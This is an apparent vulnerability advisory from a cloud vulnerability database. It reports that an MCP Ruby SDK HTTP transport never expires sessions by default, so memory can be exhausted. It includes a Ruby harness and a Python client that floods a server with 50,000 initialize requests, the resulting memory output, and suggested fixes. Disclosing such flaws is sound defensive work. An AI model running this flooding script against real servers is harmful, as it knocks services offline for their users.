
Cloud Vulnerability DB
A community-led vulnerabilities database
In its default configuration, MCP::Server::Transports::StreamableHTTPTransport never expires sessions. Every successful initialize request stores a new ServerSession and a session record under a fresh UUID, and the only path that removes them is an explicit client-issued HTTP DELETE. An unauthenticated attacker can repeatedly initialize new sessions and immediately disconnect, forcing the server to retain an unbounded number of ServerSession objects until memory is exhausted.
lib/mcp/server/transports/streamable_http_transport.rb:
def initialize(server, stateless: false, enable_json_response: false, session_idle_timeout: nil) — the default for session_idle_timeout is nil.start_reaper_thread if @session_idle_timeout — when the timeout is nil, the reaper that prunes idle sessions is never started.handle_initialization): every successful initialize inserts a new session record; the only removal sites are handle_delete (client-controlled) and stream-error paths.
The project README acknowledges the insecure default (line 1605):By default, sessions do not expire. To mitigate session hijacking risks, you can set a
session_idle_timeout(in seconds). Per-session memory cost is non-trivial: each entry contains aServerSessioninstance (with its ownMutex,@in_flighthash, capabilities hash, and server reference), a top-level hash entry under the session UUID, and per-pending-requestQueueallocations.
session_poc_server.rb)Starts the transport in its default configuration (no session_idle_timeout) and reports the in-memory session count plus process RSS every two seconds.
require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"
server = MCP::Server.new(name: "session-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)
Thread.new do
loop do
sessions = transport.instance_variable_get(:@sessions)
count = sessions ? sessions.size : 0
rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
STDERR.puts("[mem] sessions=#{count} RSS=#{rss_mb} MB")
sleep 2
end
end
STDERR.puts("[poc] listening on http://127.0.0.1:9295/")
Rackup::Handler::WEBrick.run(
transport,
Host: "127.0.0.1", Port: 9295,
AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)session_poc_client.py)import concurrent.futures, json, socket, time
HOST, PORT = "127.0.0.1", 9295
TOTAL, WORKERS = 50_000, 32
INIT = json.dumps({
"jsonrpc": "2.0", "id": 1, "method": "initialize",
"params": {"protocolVersion": "2025-11-25", "capabilities": {},
"clientInfo": {"name": "flooder", "version": "1.0"}}
}).encode()
REQ = (
f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
f"Content-Type: application/json\r\n"
f"Accept: application/json, text/event-stream\r\n"
f"Content-Length: {len(INIT)}\r\nConnection: close\r\n\r\n"
).encode() + INIT
def one():
try:
s = socket.create_connection((HOST, PORT), timeout=5)
s.sendall(REQ)
data = b""
while True:
c = s.recv(8192)
if not c: break
data += c
s.close()
return b"mcp-session-id" in data.lower()
except OSError:
return False
start = time.time()
created = 0
with concurrent.futures.ThreadPoolExecutor(max_workers=WORKERS) as ex:
futs = [ex.submit(one) for _ in range(TOTAL)]
for i, f in enumerate(concurrent.futures.as_completed(futs), 1):
if f.result():
created += 1
if i % 1000 == 0:
print(f"[poc] dispatched {i} reqs, {created} sessions confirmed, "
f"elapsed {time.time() - start:.1f}s")
print(f"[poc] done. {created}/{TOTAL} sessions confirmed in "
f"{time.time() - start:.1f}s")bundle install
ruby session_poc_server.rb # terminal A
python3 session_poc_client.py # terminal BTested on macOS, Ruby 3.2.4, against the SDK's main branch.
Server terminal:
[mem] sessions=0 RSS=45 MB
[mem] sessions=2605 RSS=56 MB
[mem] sessions=11587 RSS=72 MB
[mem] sessions=23119 RSS=85 MB
[mem] sessions=34391 RSS=119 MB
[mem] sessions=45325 RSS=128 MB
[mem] sessions=50000 RSS=154 MB
[mem] sessions=50000 RSS=152 MB
[mem] sessions=50000 RSS=152 MB
[mem] sessions=50000 RSS=152 MB # plateau persists indefinitelyClient terminal:
[poc] dispatched 50000 reqs, 50000 sessions confirmed, elapsed 26.6s
[poc] done. 50000/50000 sessions confirmed in 26.6s50,000 unique sessions are created and retained in 26.6 seconds from a single client. The session count remains pinned at 50,000 indefinitely, confirming that no reaper exists to free the records. Scaling the attack linearly (multiple clients, larger client-capability payloads, longer runtime) drives RSS until the worker is OOM-killed. <img width="3544" height="1674" alt="image" src="https://github.com/user-attachments/assets/89ac35ab-5629-4b48-83f8-e26a92b3e45c" />
session_idle_timeout. Because the README presents this as an opt-in mitigation rather than a default, real-world deployments are likely to ship vulnerable.session_idle_timeout to a finite value (e.g. 30 minutes) and document the change as a security default.max_sessions: constructor option; reject initialize with HTTP 503 once the cap is reached.initialize POST separately from later request activity, and evict sessions whose GET SSE stream is never attached within N seconds.Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."